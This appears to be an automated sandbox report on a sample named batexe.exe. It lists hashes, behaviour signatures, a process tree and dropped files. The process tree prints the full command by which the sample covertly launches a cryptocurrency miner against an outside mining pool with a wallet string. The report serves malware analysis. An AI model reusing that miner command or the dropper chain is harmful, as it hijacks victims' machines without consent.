73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
294s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20-02-2024 03:23

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1376	b2e.exe
4608	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4608	cpuminer-sse2.exe
4608	cpuminer-sse2.exe
4608	cpuminer-sse2.exe
4608	cpuminer-sse2.exe
4608	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3792-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3792 wrote to memory of 1376	3792	batexe.exe	73
PID 3792 wrote to memory of 1376	3792	batexe.exe	73
PID 3792 wrote to memory of 1376	3792	batexe.exe	73
PID 1376 wrote to memory of 4676	1376	b2e.exe	74
PID 1376 wrote to memory of 4676	1376	b2e.exe	74
PID 1376 wrote to memory of 4676	1376	b2e.exe	74
PID 4676 wrote to memory of 4608	4676	cmd.exe	77
PID 4676 wrote to memory of 4608	4676	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3792
- C:\Users\Admin\AppData\Local\Temp\DD9E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\DD9E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\DD9E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E1C5.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DD9E.tmp\b2e.exe

Filesize
1.6MB

MD5
11d24fbea9c159bf314a04261d18bf67

SHA1
f69ec6b72ef3cd8f9b9754f38f8efb54e6aed7a1

SHA256
f3e3d30ed75e9451c39f214b7b160c0abfac5b4da3959225fa905507e704489b

SHA512
2141b8cafc2e3345c51c109d18c34ebcfba95525bd7b9ff29fe4ad5b0ea3081985670a6865cb7082be3bc5eeb40a454ab6b5828a2b9c2fefe9cdb89626531139

Download Submit
C:\Users\Admin\AppData\Local\Temp\DD9E.tmp\b2e.exe

Filesize
1.5MB

MD5
2a089e8bf6578017b5c976d0dacec1b8

SHA1
111f721c4eb9edb2555114a6c8d95d0bac6bf333

SHA256
7c38ff410d155d55353f7c8d0ccda5c2f63a97eadff37a99228b2cff8efddb50

SHA512
5efbe1daa3034284f68f7045fbbd4e26276165f60dca93d455772d5727deaf9ebc059a8b7b0763c6d00243fc8bbff9a197556837e71a1ecfd71e6919b8a7ecfe

Download Submit
C:\Users\Admin\AppData\Local\Temp\E1C5.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
448KB

MD5
ca0b33f54480aa9c590d09f72e3feb31

SHA1
d50dc7dd964feb0d7516c3037e7dc7e008420ae5

SHA256
67833a9e63d8b7469a3a3415124a2426893a6174ce2bd88bea520c68319d182d

SHA512
266dcd9c5bfe2b117fda6bf7c4250a908233d8474bd0b09596a0bd0fa2e5bc75446a20b46cb7e516ef75b5661bbe16c714e8dcc5962a0f481cbaecdf6135affd

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
827e8d26b36b7574a2bf14459a3eda77

SHA1
4ac43a7fa826db1d6c98af0af8f628aa4b48cb62

SHA256
36ff800afe8285205fd55018ed1f0108e4bc41f2636921d7153eac4a3696a688

SHA512
28f20c8ed5260ad38a2523f03d88fc99044f6d864b30e4324d94547024aab8bd3619c68fd85e482179292bec1049bebda7816d6c6b560e828e11bd3da1d07c0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
c92c77f1a0ac6f5dc252a0e6187d8345

SHA1
f7814840f3adb7a5f510c3cd772682d5542880d4

SHA256
2fc1c2da730cdbdf707f77739c0a6ccd5f598b75d7dcff31eed0f68549f1e043

SHA512
dcc271087d055c897b6f5ca858da460861a32f18100a211d794b57778f1c51b06f627e979ecb7e0c9fd06c2f41e4dbcfc168a21611810f867b14d033aab74111

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
799d3c24a4a181fef5c81ff448d54ca8

SHA1
4d78bf61e271fee37f496e5b27d98b4003d6f7f1

SHA256
49087555ba33ec28799185c3af8f2fe87c0519ce6b74fbfcd6fee01360cf6d73

SHA512
422485b12dcd6d9cab0fb589f013f98c5b144de14b6e07af756cb0d6970be8b090e44dd143cf0a3d09e50d4f06d9c68a39a1f3c5241b624446fe1e2ee181cae5

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
e5ad741b50e51cfb77f8bc80e669acf4

SHA1
19a1ecff5b7aa7008d0b1d70dc2aa4b1b2ed9e86

SHA256
c9edf0f5691a3cab0fbf0d94c28b2dccb6e155e541a871b29873aeeb1a7f1c1d

SHA512
1342b8d883586a5946bf83d6e31a4a078dcce1651a0ed2eabe3d539adb1a3b0c14f821161f82b228a3d3814bf39bbc401ffd5128c80805afd8cd4b37bbf04e63

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1024KB

MD5
61f1013547dc4ad24f8c5338c41931c3

SHA1
4a9f72fe7e71046ecd3d5af6443f195a6051430b

SHA256
2a65749eaa95c5c90be12d11587a82432933aabd60e8854868bc7168a36150ee

SHA512
6604219c7e5d583e8cc6a1f407e9964ab39791026857d17c9de25d3a4a8bb0272d491c6c019643eeeee8a2bd3451f3e0b75298e043777d44b8f3a161582c9b40

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1376-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1376-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3792-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4608-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4608-43-0x0000000066D30000-0x0000000066DC8000-memory.dmp

Filesize
608KB

Download
memory/4608-44-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/4608-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4608-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download